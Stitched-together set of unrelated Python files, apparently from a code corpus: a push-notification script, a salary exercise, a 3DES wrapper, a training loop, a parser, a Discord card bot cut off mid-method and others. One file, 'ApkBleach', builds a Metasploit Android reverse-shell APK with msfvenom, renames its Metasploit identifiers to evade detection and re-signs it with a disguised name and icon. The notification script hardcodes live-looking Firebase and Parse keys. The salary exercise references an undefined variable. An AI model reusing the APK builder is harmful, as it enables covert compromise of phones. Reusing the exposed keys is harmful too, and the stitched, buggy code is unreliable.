import requests
import json
import pprint

def notifyTeacherStudents(target):

    # gets only the class with this object id and includes the teacher object in the response
    params = {"where":json.dumps({"objectId":target}),"include":"teacher"}

    # credentials we need to access the parse server
    headers = {
    "X-Parse-Application-Id":"skillshop",
    "X-Parse-REST-API-Key":"skillshop"
    }

    # parse get request for the workshop we want
    r = requests.get("http://skillshop-fbu.herokuapp.com/parse/classes/Workshop",headers=headers, params = params)

    #  from the response we save the workshop object
    workshop = json.loads(r.text)["results"][0]
    pprint.pprint(workshop)

    # take out the objects we need
    teacherObject = workshop["teacher"]
    teacherName = teacherObject["firstName"]+" "+teacherObject["lastName"]
    teacherObjectId = teacherObject["objectId"]
    students = workshop["students"]

    # for all the students this class has query the database for their tokens and send them a notification
    for studentId in students:
        params = {"where":json.dumps({"objectId":studentId})}
        studentRequest = requests.get("http://skillshop-fbu.herokuapp.com/parse/classes/_User",headers=headers, params = params)
        studentResponse = json.loads(studentRequest.text)["results"][0]

        sendNotification(studentResponse["firebaseToken"],"{} has edited the class \"{}\"".format(teacherName,workshop["name"]) )
    # send the teacher a notification to confirm that the class has been edited properly
    sendNotification(teacherObject["firebaseToken"],"Your class has been edited")

def sendNotification(target,message):
    # object to say who will recive the message and what it will say
    data = {
     "to" : target,
     "notification" : {
         "body" : message
     }
    }
    params = {
      "apps": [
        {
          "serverURL": "http://skillshop2019.herokuapp.com/parse",
          "appId": "skillshop",
          "masterKey": "skillshop",
          "appName": "skillshop"
        }
      ]
    }
    # credentials to access firebase
    headers = {'Content-type': 'application/json',"Authorization": "key=AAAAFMmfBZY:APA91bEKe0sf4q2m1z9htBYYGkZ8HR6HhAceKn9UBpW8E-q8bjbV9zxEd-750vq7Q97mDlKTWcqssy74xU86xnKB5jmh_X7q88aCN8B25Z-PMtyLI_QfnxKPVkI_cAxRtYmCTfUmr17z"}
    r = requests.post('https://fcm.googleapis.com/fcm/send', data = json.dumps(data), headers=headers)


#7
print("7 - Faça um programa que receba o salário de um funcionário, calcule e mostre o salário reajustado. O percentual de aumento encontra-se na tabela a seguir. \n \n")

s7alari = float(input("Digite o salario: "))

if s7alari <= 300:
  s7alariR = s7alari + s7alari * (35/100)
  print(f"Seu salario agora é de R${s7alariR}")
elif s6alari > 300:
  s7alariR = s7alari + s7alari * (15/100)
  print(f"Seu salario agora é de R${s7alariR}")
else:
  print("Valor acima da margem para reajuste")


import random

import cipher_des

d = cipher_des.des()

def encode(plain: str, keys: tuple, padding=True):
    assert len(keys) == 3
    assert len(keys[0]) == 8
    if padding:
        plain = addPadding(plain)
    return d.encode(d.decode(d.encode(plain, keys[0], padding=False), keys[1], padding=False), keys[2], padding=False)

def decode(cipher: str, keys: tuple, padding=True):
    assert len(keys) == 3
    assert len(keys[0]) == 8
    p = d.decode(d.encode(d.decode(cipher, keys[2], padding=False), keys[1], padding=False), keys[0], padding=False)
    if padding:
        p = removePadding(p)
    return p

def generate_key(seed=-1):
    if seed != -1:
        random.seed(seed)
    return cipher_des.generate_key(random.randint(0, 1000)), cipher_des.generate_key(
        random.randint(0, 1000)), cipher_des.generate_key(random.randint(0, 1000))

def addPadding(text):  # Add padding to the datas using PKCS5 spec.
    pad_len = 8 - (len(text) % 8)
    text += pad_len * chr(pad_len)
    return text

def removePadding(data):  # Remove the padding of the plain text (it assume there is padding)
    pad_len = ord(data[-1])
    return data[:-pad_len]

if __name__ == "__main__":
    text = "hello"
    keys = generate_key()
    print(keys)
    cipher = encode(text, keys)
    print(cipher)
    print(decode(cipher, keys))


# 1
# 2 3
# 4 5 6
# 7 n
# P = nr de pagini al cartii
# n = indexul maxim al problemei
# determinare C = nr total de cifre care au fost utilizate in numerotarea problemelor
P, n = [int(x) for x in input().split()]
n2 = n

k = 1
i = 1
lista = []
while i in range(1, 999) and n != 0:
    j = 1
    lst = []
    while j in range(1, i + 1) and n != 0:
        lst.append(k)
        k += 1
        n -= 1
        j += 1
    lista.append(lst)
    i += 1

if len(lista) <= P:
    sir = [i for i in range(1, n2 + 1)]
    print(len(''.join(str(x) for x in sir)))
else:
    print(0)

eccp_2018.4.3-plan-editorial-FloydPiramid 1 23 456/plan-editorial.py


from architecture import *
from utils import *
from dataset import dataset
import torch.utils.data as tud
import torch
import torch.nn.functional as F
import time
import datetime
from torch.autograd import Variable
import os
from option import opt

os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
os.environ["CUDA_VISIBLE_DEVICES"] = opt.gpu_id
torch.backends.cudnn.enabled = True
torch.backends.cudnn.benchmark = True
if not torch.cuda.is_available():
    raise Exception('NO GPU!')

# load training data
CAVE = prepare_data_cave(opt.data_path_CAVE, 30)
KAIST = prepare_data_KAIST(opt.data_path_KAIST, 30)

# saving path
date_time = str(datetime.datetime.now())
date_time = time2file_name(date_time)
opt.outf = os.path.join(opt.outf, date_time)
if not os.path.exists(opt.outf):
    os.makedirs(opt.outf)

# model
if opt.method == 'hdnet':
    model, FDL_loss = model_generator(opt.method, opt.pretrained_model_path).cuda()
else:
    model = model_generator(opt.method, opt.pretrained_model_path).cuda()

# optimizing
optimizer = torch.optim.Adam(model.parameters(), lr=opt.learning_rate, betas=(0.9, 0.999))
if opt.scheduler == 'MultiStepLR':
    scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, milestones=opt.milestones, gamma=opt.gamma)
elif opt.scheduler == 'CosineAnnealingLR':
    scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, opt.max_epoch, eta_min=1e-6)
criterion = nn.L1Loss()

if __name__ == "__main__":

    print("Random Seed: ", opt.seed)
    torch.manual_seed(opt.seed)
    torch.cuda.manual_seed(opt.seed)

    ## pipline of training
    for epoch in range(1, opt.max_epoch):
        model.train()
        Dataset = dataset(opt, CAVE, KAIST)
        loader_train = tud.DataLoader(Dataset, num_workers=8, batch_size=opt.batch_size, shuffle=True)

        scheduler.step(epoch)
        epoch_loss = 0

        start_time = time.time()
        for i, (input, label, Mask, Phi, Phi_s) in enumerate(loader_train):
            input, label, Phi, Phi_s = Variable(input), Variable(label), Variable(Phi), Variable(Phi_s)
            input, label, Phi, Phi_s = input.cuda(), label.cuda(), Phi.cuda(), Phi_s.cuda()

            input_mask = init_mask(Mask, Phi, Phi_s, opt.input_mask)

            if opt.method in ['cst_s', 'cst_m', 'cst_l']:
                out, diff_pred = model(input, input_mask)
                loss = criterion(out, label)
                diff_gt = torch.mean(torch.abs(out.detach() - label),dim=1, keepdim=True)  # [b,1,h,w]
                loss_sparsity = F.mse_loss(diff_gt, diff_pred)
                loss = loss + 2 * loss_sparsity
            else:
                out = model(input, input_mask)
                loss = criterion(out, label)

            if opt.method == 'hdnet':
                fdl_loss = FDL_loss(out, label)
                loss = loss + 0.7 * fdl_loss

            epoch_loss += loss.item()

            optimizer.zero_grad()
            loss.backward()

            optimizer.step()

            if i % (1000) == 0:
                print('%4d %4d / %4d loss = %.10f time = %s' % (
                    epoch + 1, i, len(Dataset) // opt.batch_size, epoch_loss / ((i + 1) * opt.batch_size),
                    datetime.datetime.now()))

        elapsed_time = time.time() - start_time
        print('epcoh = %4d , loss = %.10f , time = %4.2f s' % (epoch + 1, epoch_loss / len(Dataset), elapsed_time))
        torch.save(model, os.path.join(opt.outf, 'model_%03d.pth' % (epoch + 1)))


from parsers.lvalue import FieldAccess
from parsers.program import Basic
from parsers.constants import Consant
from parsers.caller import Caller
import parsers.message as m
import copy

operatorList = ["=","+","-","*","/","%","<","<=",">",">=","==","!=","&&","||","!"]
arithoperator = ["+","-","*","/","%"]
logicaloperator = ["&&","||","!"]
relationaloperatr = ["<","<=",">",">="]
equalityoperator = ["==","!="]
level = {"=":1,"+":6,"-":6,"*":7,"/":7,"%":7,"<":5,"<=":5,">":5,">=":5,"==":4,"!=":4,"&&":3,"||":2,"!":8}

def check_if_constant(tok):
    if tok.type.lower() == "T_IntConstant".lower() or tok.type.lower() == "T_BoolConstant".lower() or tok.type.lower() == "T_DoubleConstant".lower() or tok.type.lower() == "T_STRINGCONSTANT".lower():
        return True
    return False

def check_end_expression(tok):
    if (tok.value == ")" or tok.value == "," or tok.value == ";"):
        return True
    return False

class ReadInteger:
    def __init__(self,tok):
        self.type = "readinteger"
        self.tok = tok

class Expressions(Basic,object):
    def __init__(self, tokens, tokenPosition,fromActual = False):
        super(Expressions,self).__init__(tokens, tokenPosition)
        self.operatorList = operatorList
        self.bracktresolver = 1
        tok = tokens[tokenPosition]
        ntok = tokens[tokenPosition + 1]
        nntok = tokens[tokenPosition + 2]

        if check_if_constant(tok) and check_end_expression(ntok):
            self.type= "constant"
            self.value = Consant(tokens[tokenPosition])
            self.tokenPostionProcessed = tokenPosition
        elif tok.type.lower() == "T_Identifier".lower() and check_end_expression(ntok):
            self.type= "fieldaccess"
            self.value = FieldAccess(tokens, tokenPosition,fromActual)
            self.tokenPostionProcessed = tokenPosition
        elif tok.type.lower() == "T_Identifier".lower() and ntok.value == "=":
            #self.type = "AssignExpr"
            self.value = self.get_assign_exp(tokens, tokenPosition,"AssignExpr")
            self.type = self.get_type(self.value.operator)
        elif (tok.type.lower() == "T_Identifier".lower() or check_if_constant(tok)) and ntok.value in arithoperator:
            #self.type = "ArithmeticExpr"
            self.value = self.get_expression(tokens,tokenPosition,"ArithmeticExpr")
            self.type = self.get_type(self.value.operator)
        elif ((tok.type.lower() == "T_Identifier".lower() or check_if_constant(tok) )and ntok.value in logicaloperator) or (tok.value in logicaloperator and (ntok.type.lower() == "T_Identifier".lower() or check_if_constant(ntok))):
            #self.type = "LogicalExpr"
            self.value = self.get_expression(tokens,tokenPosition,"LogicalExpr")
            self.type = self.get_type(self.value.operator)
        elif (tok.type.lower() == "T_Identifier".lower() and ntok.value in relationaloperatr):
            #self.type = "RelationalExpr"
            self.value = self.get_expression(tokens, tokenPosition, "RelationalExpr")
            self.type = self.get_type(self.value.operator)
        elif (tok.type.lower() == "T_Identifier".lower() and ntok.value in equalityoperator):
            #self.type = "EqualityExpr"
            self.value = self.get_expression(tokens, tokenPosition, "EqualityExpr")
            self.type = self.get_type(self.value.operator)
        elif (tok.type.lower() == "T_Identifier".lower() and tok.value.lower() in ["readinteger","readline"]) and ntok.type.lower() == "(".lower():
            self.value = ReadInteger(tokens[tokenPosition])
            self.tokenPostionProcessed = tokenPosition + 2
        elif tok.type.lower() == "T_Identifier".lower() and ntok.type.lower() == "(".lower():
            self.type= "caller"
            self.value = Caller(tokens,tokenPosition,fromActual)
            self.tokenPostionProcessed = self.value.tokenPostionProcessed
        #elif ntok.value in operatorList:
            #self.value = self.get_expression(tokens, tokenPosition, "ArithmeticExpr")
            #self.type = self.get_type(self.value.operator)
        else:
            raise Exception(m.SyntaxErr, tokens[tokenPosition])

    def get_assign_exp(self,tokens,tokenposition,type):
        aex = Expression(type,tokenposition)
        aex.operator = "="
        aex.operatorPosition = tokenposition+1
        aex.lvalue = self.get_constant_identifier(tokens, tokenposition)
        aex.type = "AssignExpr"

        if tokens[tokenposition + 2].value.lower() == "ReadInteger".lower() or tokens[tokenposition + 2].value.lower() == "ReadLine".lower():
            aex.rvalue = ReadInteger(tokens[tokenposition + 2])
            if tokens[tokenposition + 3].value == "(":
                if tokens[tokenposition + 4].value == ")":
                    self.tokenPostionProcessed = tokenposition + 4
                    return aex
                else:
                    raise Exception(m.SyntaxErr, tokens[tokenposition + 4])
            else:
                raise Exception(m.SyntaxErr, tokens[tokenposition + 3])
        elif (tokens[tokenposition + 2].type.lower() == "T_Identifier".lower() or  check_if_constant(tokens[tokenposition + 2])) and check_end_expression(tokens[tokenposition + 3]):
            aex.rvalue = self.get_constant_identifier(tokens,tokenposition + 2)
            self.tokenPostionProcessed = tokenposition + 2
            return aex

        elif tokens[tokenposition + 2].type.lower() == "T_Identifier".lower() and tokens[tokenposition + 3].type.lower() == "(".lower():
            #self.type = "caller"
            aex.rvalue = Caller(tokens, tokenposition +2)
            self.tokenPostionProcessed = aex.rvalue.tokenPostionProcessed
            return aex

        arExp = self.get_expression(tokens,tokenposition+2,type)
        #temp = copy.deepcopy(arExp)
        aex.rvalue = arExp
        return aex

    def get_expression(self,tokens, tokenpositon,type):
        initial = True
        aex = None
        while True:
            if tokens[tokenpositon].value == ")" and self.bracktresolver == 1 and (not initial):
                #self.tokenPostionProcessed = tokenpositon
                break
            elif tokens[tokenpositon].value == "," or tokens[tokenpositon].value == ";" and (not initial):
                #self.tokenPostionProcessed = tokenpositon
                break
            initial = False
            if aex is None:
                aex = self.get_recursive_expression(tokens,tokenpositon,type)
            else:
                temp = Expression(type,tokenpositon)
                #aex.lvalue = None
                temp.lvalue = aex
                aex = None
                aex = temp
                aex.operator = tokens[tokenpositon].value
                aex.operatorPosition = tokenpositon
                aex.type = self.get_type(aex.operator)
                if (tokens[tokenpositon+1].value == "(" or self.has_higher_precdence(tokens[tokenpositon+2],tokens[tokenpositon])):  # and (not check_end_expression(nnntok)):
                    aex.rvalue = self.get_recursive_expression(tokens, tokenpositon + 1, type)
                else:
                    aex.rvalue = self.get_constant_identifier(tokens, tokenpositon + 1)
                    self.tokenPostionProcessed = tokenpositon + 1
            tokenpositon = self.tokenPostionProcessed+1
        return aex

    def get_type(self,operator):
        if operator in logicaloperator:
            return "LogicalExpr"
        elif operator in arithoperator:
            return "ArithmeticExpr"
        elif operator in relationaloperatr:
            return "RelationalExpr"
        elif operator in equalityoperator:
            return "EqualityExpr"
        elif operator == "=":
            return "AssignExpr"

    def has_higher_precdence(self,ntok,tok):
        if check_end_expression(ntok):
            return False
        if ntok.value not in operatorList:
            raise Exception(m.SyntaxErr,ntok)
        if tok.value not in operatorList:
            raise Exception(m.SyntaxErr,tok)
        if level[ntok.value]>level[tok.value]:
            return True
        return False

    def get_recursive_expression(self,tokens,tokenpositon,type):
        if tokens[tokenpositon].value == "(":
            tokenpositon +=1
            self.bracktresolver +=1

        aex = Expression(type,tokenpositon)
        inc = 0
        if tokens[tokenpositon].value not in operatorList:
            aex.lvalue = self.get_constant_identifier(tokens,tokenpositon)
        else:
            tokenpositon -=1

        tok = tokens[tokenpositon]
        ntok = tokens[tokenpositon + 1]
        nntok = tokens[tokenpositon + 2]
        nnntok = tokens[tokenpositon + 3]

        aex.operator = ntok.value
        aex.operatorPosition = tokenpositon+1
        if aex.operator not in operatorList:
            raise Exception(m.SyntaxErr, ntok)
        aex.type = self.get_type(aex.operator)

        if tokens[tokenpositon + 2].value.lower() == "ReadInteger".lower() or tokens[tokenpositon + 2].value.lower() == "ReadLine".lower():
            aex.rvalue = ReadInteger(tokens[tokenpositon + 2])
            if tokens[tokenpositon + 3].value == "(":
                if tokens[tokenpositon + 4].value == ")":
                    self.tokenPostionProcessed = tokenpositon + 4
                    return aex
                else:
                    raise Exception(m.SyntaxErr, tokens[tokenpositon + 4])
            else:
                raise Exception(m.SyntaxErr, tokens[tokenpositon + 3])

        if tokens[tokenpositon +2].type.lower() == "T_Identifier".lower() and tokens[tokenpositon + 3].type.lower() == "(".lower():
            #self.type = "caller"
            aex.rvalue = Caller(tokens, tokenpositon+2)
            self.tokenPostionProcessed = aex.rvalue.tokenPostionProcessed
            #return aex

        elif (nntok.value == "(" or self.has_higher_precdence(nnntok, ntok)):# and (not check_end_expression(nnntok)):
            aex.rvalue = self.get_recursive_expression(tokens, tokenpositon + 2,type)
        else:
            aex.rvalue = self.get_constant_identifier(tokens, tokenpositon + 2)
            if nnntok.value == ")" and self.bracktresolver>1:
                self.bracktresolver -=1
                inc = 1

        if tokenpositon +2 > self.tokenPostionProcessed:
            self.tokenPostionProcessed = tokenpositon + 2 + inc
        return aex

    def get_constant_identifier(self,tokens,tokenpositon):
        if check_if_constant(tokens[tokenpositon]):
            return Consant(tokens[tokenpositon])
        elif tokens[tokenpositon].type.lower() == "T_Identifier".lower():
            return FieldAccess(tokens, tokenpositon)
        else:
            raise Exception(m.SyntaxErr, tokens[tokenpositon])

class Expression:
    def __init__(self,type,tokenPositon):
        self.tokenPosition = tokenPositon
        self.type = type
        self.lvalue = None
        self.rvalue = None
        self.operator = None
        self.operatorPosition = 0


#!/usr/bin/python3
''' class Student '''

class Student:
    '''student '''

    def __init__(self, first_name, last_name, age):
        '''new Student instance '''
        self.first_name = first_name
        self.last_name = last_name
        self.age = age

    def to_json(self, attrs=None):
        ''' get dictionary representation of the Student '''

        if (type(attrs) == list and
                all(type(ele) == str for ele in attrs)):
            return {i: getattr(self, i) for i in attrs if hasattr(self, i)}
        return self.__dict__


import socket, logging
FORMAT = '%(message)s'
logging.basicConfig(filename='/var/log/cbxd.log',level=logging.INFO, format=FORMAT)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("localhost", 9988))
s.listen(1)

def log(msg):
  print(msg, end="\n")
  logging.info(msg)

def my_function_that_handles_data(d):
  log(d)

while True:
  conn, addr = s.accept()
  data = conn.recv(1024)
  conn.close()
  my_function_that_handles_data(data)


#!/usr/bin/env python3

import fileinput
import os
import os.path
from PIL import Image
import random
import shutil
import string
import sys
import subprocess
from time import sleep

class ApkBleach:

    def __init__(self, *args):
        self.user = args[0]
        self.payload = args[1]
        self.lhost = args[2]
        self.lport = args[3]
        self.session_count = args[4]
        self.icon_file = args[5]
        self.app_name = args[6]
        self.app = args[6].replace(" ", "") + ".apk"

        os.mkdir(f"res/cache/{self.user}")

        self.payload_dir = f"res/cache/{self.user}"

        letters = string.ascii_lowercase
        self.m_smali_dir = ''.join(random.choice(letters) for i in range(8))
        self.s_smali_dir = ''.join(random.choice(letters) for i in range(8))
        self.main_activity = ''.join(random.choice(letters) for i in range(8))
        self.main_service = ''.join(random.choice(letters) for i in range(8))
        self.main_broadcast_receiver = ''.join(
            random.choice(letters) for i in range(8))
        self.p_smali_file = ''.join(random.choice(letters) for i in range(8))
        self.scheme = ''.join(random.choice(letters) for i in range(8))

    def generate_payload(self):
        self.payload_path = f"{self.payload_dir}/{self.user}.apk"

        subprocess.call(
            ['bash', '-c',
             f"msfvenom -p {self.payload} LHOST={self.lhost} LPORT={self.lport} --platform android -a dalvik --pad-nops -f raw -o {self.payload_path} &>/dev/null"]
        )

        if not os.path.isfile(self.payload_path):
            return False
        else:
            self.decompiled_path = f"{self.payload_dir}/decompiled"
            return True

    def decompile_apk(self):
        subprocess.call(
            ['bash', '-c', f'apktool -q -f d {self.payload_path} -o {self.decompiled_path} &>/dev/null'])

    def delete_permissions(self, permissions):
        # reading in the lines of the manifest file
        with open(f'{self.decompiled_path}/AndroidManifest.xml', 'r') as manifest:
            manifest_lines = manifest.readlines()

        # Removing any duplicate entries. For some reason metasploit generate's
        # this payload with a duplicate entry of the RECORD_AUDIO permission
        with open(f'{self.decompiled_path}/AndroidManifest.xml', 'w') as manifest:
            lines_seen = set()
            for line in manifest_lines:
                if line in lines_seen and "intent-filter" in line or line not in lines_seen:
                    manifest.write(line)
                lines_seen.add(line)

        # Removing the permission selected
        for line in manifest_lines:
            for permission in permissions:
                if permission in line:
                    for edit_line in fileinput.input([f'{self.decompiled_path}/AndroidManifest.xml'], inplace=True):
                        print(edit_line.replace(line, ''), end='')

    def bleach_apk(self):
        if self.icon_file:
            for line in fileinput.input([f'{self.decompiled_path}/AndroidManifest.xml'], inplace=True):
                print(line.replace(
                    '<application android:label=\"@string/app_name\">',
                    '<application android:label=\"@string/app_name\" android:icon=\"@drawable/icon\" >'
                ), end='')

            icon_folders = [
                "drawable-ldpi-v4",
                "drawable-mdpi-v4",
                "drawable-hdpi-v4"
            ]

            for folder in icon_folders:
                os.mkdir(f"{self.decompiled_path}/res/{folder}")

            icon_to_inject = Image.open(self.icon_file)

            ldpi = icon_to_inject.resize((36, 36))
            mdpi = icon_to_inject.resize((48, 48))
            hdpi = icon_to_inject.resize((72, 72))

            ldpi.save(f'{self.decompiled_path}/res/drawable-ldpi-v4/icon.png')
            mdpi.save(f'{self.decompiled_path}/res/drawable-mdpi-v4/icon.png')
            hdpi.save(f'{self.decompiled_path}/res/drawable-hdpi-v4/icon.png')

        if self.session_count:

            os.remove(
                f'{self.decompiled_path}/smali/com/metasploit/stage/MainActivity.smali')

            shutil.copyfile('res/stealth/MainActivity.smali',
                            f'{self.decompiled_path}/smali/com/metasploit/stage/MainActivity.smali')

            for edit_line in fileinput.input([f'{self.decompiled_path}/smali/com/metasploit/stage/MainActivity.smali'], inplace=True):
                print(edit_line.replace(
                    'iget v0, p0, Lcom/metasploit/stage/MainActivity;->ran:I',
                    f'iget v0, p0, Lcom/metasploit/stage/MainActivity;->ran:I\n\n\tconst/4 v1, 0x{int(self.session_count)}'),
                    end=''
                )

        # for edit_line in fileinput.input([f'{self.decompiled_path}/AndroidManifest.xml'], inplace=True):
        #     print(edit_line.replace('platformBuildVersionCode=\"10\"',
        #                             f'platformBuildVersionCode=\"27\"'), end='')

        # for edit_line in fileinput.input([f'{self.decompiled_path}/AndroidManifest.xml'], inplace=True):
        #     print(edit_line.replace('platformBuildVersionName=\"2.3.3\"',
        #                             f'platformBuildVersionName=\"8.1.0\"'), end='')

        # Changing the apps name to what user provided
        for edit_line in fileinput.input([f'{self.decompiled_path}/res/values/strings.xml'], inplace=True):
            print(edit_line.replace('MainActivity',
                                    f'{self.app_name}'), end='')

        # Change package path in manifest
        for edit_line in fileinput.input([f'{self.decompiled_path}/AndroidManifest.xml'], inplace=True):
            print(edit_line.replace('com.metasploit.stage',
                                    f'com.{self.m_smali_dir}.{self.s_smali_dir}'), end='')

        # change Scheme in manifest
        for edit_line in fileinput.input([f'{self.decompiled_path}/AndroidManifest.xml'], inplace=True):
            print(edit_line.replace('android:scheme=\"metasploit\"',
                                    f'android:scheme=\"{self.scheme}\"'), end='')

        # change MainActivity name in manifest
        for edit_line in fileinput.input([f'{self.decompiled_path}/AndroidManifest.xml'], inplace=True):
            print(edit_line.replace('MainActivity',
                                    f'{self.main_activity}'), end='')

        # change MainService name in manifest
        for edit_line in fileinput.input([f'{self.decompiled_path}/AndroidManifest.xml'], inplace=True):
            print(edit_line.replace('MainService',
                                    f'{self.main_service}'), end='')

        # change MainBroadcastReceiver name in manifest
        for edit_line in fileinput.input([f'{self.decompiled_path}/AndroidManifest.xml'], inplace=True):
            print(edit_line.replace('MainBroadcastReceiver',
                                    f'{self.main_broadcast_receiver}'), end='')

        # Renaming apk directories
        os.rename(rf'{self.decompiled_path}/smali/com/metasploit',
                  rf'{self.decompiled_path}/smali/com/{self.m_smali_dir}')
        os.rename(rf'{self.decompiled_path}/smali/com/{self.m_smali_dir}/stage',
                  rf'{self.decompiled_path}/smali/com/{self.m_smali_dir}/{self.s_smali_dir}')

        p_files_path = f"{self.decompiled_path}/smali/com/{self.m_smali_dir}/{self.s_smali_dir}"

        # Renaming payload files named MainActivity.smali, MainBroadcastReceier.smali, MainService.smali, Payload.smali
        os.rename(rf'{p_files_path}/MainActivity.smali',
                  rf'{p_files_path}/{self.main_activity}.smali')
        os.rename(rf'{p_files_path}/MainBroadcastReceiver.smali',
                  rf'{p_files_path}/{self.main_broadcast_receiver}.smali')
        os.rename(rf'{p_files_path}/MainService.smali',
                  rf'{p_files_path}/{self.main_service}.smali')
        os.rename(rf'{p_files_path}/Payload.smali',
                  rf'{p_files_path}/{self.p_smali_file}.smali')

        # Changing referances of metasploit, stage, MainActivity, MainService, MainBroadcastReceiver, Payload in all payload files
        for file in os.listdir(p_files_path):
            for edit_line in fileinput.input([f'{p_files_path}/{file}'], inplace=True):
                print(edit_line.replace('metasploit',
                                        f'{self.m_smali_dir}'), end='')

            for edit_line in fileinput.input([f'{p_files_path}/{file}'], inplace=True):
                print(edit_line.replace(
                    'stage', f'{self.s_smali_dir}'), end='')

            for edit_line in fileinput.input([f'{p_files_path}/{file}'], inplace=True):
                print(edit_line.replace('MainActivity',
                                        f'{self.main_activity}'), end='')

            for edit_line in fileinput.input([f'{p_files_path}/{file}'], inplace=True):
                print(edit_line.replace('MainService',
                                        f'{self.main_service}'), end='')

            for edit_line in fileinput.input([f'{p_files_path}/{file}'], inplace=True):
                print(edit_line.replace('MainBroadcastReceiver',
                                        f'{self.main_broadcast_receiver}'), end='')

            for edit_line in fileinput.input([f'{p_files_path}/{file}'], inplace=True):
                print(edit_line.replace(
                    'Payload', f'{self.p_smali_file}'), end='')

    def rebuild_apk(self):
        subprocess.call(
            ['bash', '-c', f'apktool -q b {self.decompiled_path} -o {self.payload_dir}/compiled.apk &>/dev/null'])
        subprocess.call(
            ['bash', '-c', f'yes "yes" | keytool -genkey -v -keystore {self.payload_dir}/{self.app}.keystore -alias {self.app} -keyalg RSA -storepass password -keysize 2048 -keypass password -validity 10000 &>/dev/null'])
        subprocess.call(
            ['bash', '-c', f'jarsigner -sigalg SHA1withRSA -digestalg SHA1 -storepass password -keypass password -keystore {self.payload_dir}/{self.app}.keystore {self.payload_dir}/compiled.apk {self.app} &>/dev/null'])
        subprocess.call(
            ['bash', '-c', f'zipalign -f 4 {self.payload_dir}/compiled.apk {self.payload_dir}/{self.app}'])

        payload = f"{self.payload_dir}/{self.app}"

        return payload


from discord.ext import commands
import discord, sheets
import random, datetime, difflib, asyncio
from card import Card
from battle import Battle

async def longpm(ctx, content):
    if len(content) > 1990:
        found_too_long = True
        i = content.find('```')
        if i >= 0:
            msgs = content[:i].split('\n') + [content[i:]]
        else:
            msgs = content.split()
        while found_too_long:
            found_too_long = False
            for i, msg in enumerate(msgs):
                if len(msg) > 1990:
                    found_too_long = True
                    msgs[i] = msg[:1990]
                    msgs.insert(i+1,msg[1990:])
    else:
        msgs = [content]
    for msg in msgs:
        await ctx.author.send(msg)

class Capes(commands.Cog):

    def __init__(self):
        self.capelist = []
        self.trading = {}
        self.claims = {}
        self.bonus_claim = {}
        self.trades = {}
        self.triggers = {} # Completed reviews
        self.reviewing = {} # Reviews in progress
        self.battle_stats = {}
        self.battles = {}
        self.cached = False
        self.pause = False
        self.lock = asyncio.Lock()

    async def set_local_cache(self):
        await self.load_capes()
        await self.load_owners()
        await self.load_triggers()
        await self.load_battle_stats()
        self.battles = {}
        self.cached = True

    async def load_capes(self):
        capes = (await sheets.trading_capes())
        for cape in capes:
            new_cape = Card(*cape)
            self.capelist += [ new_cape ]

    async def load_owners(self):
        card_owns = (await sheets.owned_cards())
        for card in card_owns:
            if not card[0] in self.trading:
                self.trading[card[0]] = []
            self.trading[card[0]] += [self.capelist[int(card[1])]]

    async def load_triggers(self):
        self.triggers = (await sheets.waiting_triggers())

    async def load_battle_stats(self):
        self.battle_stats = (await sheets.get_battle_stats())

    async def random_claim(self, ctx, claimer_id):
        # Check if this person has already claimed today
        day = datetime.datetime.now().day
        if not day in self.claims:
            self.claims = {day: []}

        if claimer_id in self.claims[day] and claimer_id not in self.bonus_claim:
            if datetime.datetime.now().hour == 23:
                timeleft = "{} minutes".format(60-datetime.datetime.now().minute)
            else:
                timeleft = "{} hours".format(24-datetime.datetime.now().hour)
            await ctx.send("You have already made your daily claim! Next claim available in {}".format(timeleft))
            return

        amount = 0
        if claimer_id in self.bonus_claim:
            await ctx.send("Claiming {} bonus cards".format(self.bonus_claim[claimer_id]))
            amount += self.bonus_claim[claimer_id]
        if not claimer_id in self.claims[day]:
            amount += 1

        total = 0
        for i in self.capelist:
            if i.tier == "C":
                total += 27
            elif i.tier == "B":
                total += 9
            elif i.tier == "A":
                total += 3
            elif i.tier == "S":
                total += 1
        selectedValues = []
        for i in range(0, amount):
            selectedValues += [ random.randrange(0,total) ]
        collected = ""
        cards = []
        for selectedValue in selectedValues:
            counting = 0
            cape = None
            for i in self.capelist:
                if i.tier == "C":
                    val_to_add = 27
                elif i.tier == "B":
                    val_to_add = 9
                elif i.tier == "A":
                    val_to_add = 3
                elif i.tier == "S":
                    val_to_add = 1
                if selectedValue >= counting and selectedValue < counting + val_to_add:
                    cape = i
                    break
                else:
                    counting += val_to_add
            # If we didn't find a cape, make it the last one!
            if cape == None:
                cape = self.capelist[-1]
            if not claimer_id in self.trading:
                self.trading[claimer_id] = []
            self.trading[claimer_id] += [cape]
            cards += [self.capelist.index(cape)]
            collected += cape.name + ", "
        await sheets.gain_cards(claimer_id, cards)
        await ctx.send("You gained the card for {}".format(collected[:-2]))
        if not claimer_id in self.claims[day]:
            self.claims[day] += [ claimer_id ]
        if claimer_id in self.bonus_claim:
            del self.bonus_claim[claimer_id]

    async def view_card(self, ctx, cape):
        message =   "**{}** ({})\n".format(cape.name, cape.classification)
        if cape.tagline != "":
            message += "> ***{}***\n".format(cape.tagline)
        message +=  "> Tier: **{}**\n".format(cape.tier)
        if cape.civ != "Unknown":
            message +=  "> Civilian Identity: ||{}||\n".format(cape.civ)
        else:
            message +=  "> Civilian Identity: {}\n".format(cape.civ)
        message +=  "> Power: {}\n".format(cape.power)
        message +=  "> Campaign: **{}**, {}\n".format(cape.campaign, cape.pc)
        message +=  "> Affiliation: {}, {}".format(cape.affiliation, cape.alignment)
        await ctx.send(message)

    async def messagify_ownership(self, user, c_list, c_filter = ""):
        if c_filter != "":
            c_filter = " **{}** ".format(c_filter)
        owned_cards = 0
        owned = {}
        if user in self.trading:
            for i in self.trading[user]:
                if i in c_list:
                    owned_cards += 1
                    if not i.name in owned:
                        owned[i.name] = 0
                    owned[i.name] += 1
        initial = "You own {}{} cards\n".format(owned_cards,c_filter[:-1])
        m_index = 0
        messages = ["> "]
        for i in owned:
            messages[m_index] += i
            if owned[i] > 1:
                messages[m_index] += "x{}".format(owned[i])
            messages[m_index] += ", "
            if len(messages[m_index]) > 1800: # Don't let it get too long
                messages[m_index] = messages[m_index][:-1]
                m_index += 1
                messages += ["> "]
        messages[m_index] = messages[m_index][:-2]

        messages[0] = "{}{}Cards collected {}/{}\n{}".format(initial, c_filter,len(owned),len(c_list),messages[0])
        return messages

    async def view(self, ctx, owner, *args):
        if not owner in self.trading:
            await ctx.send("You own no cards")
            return
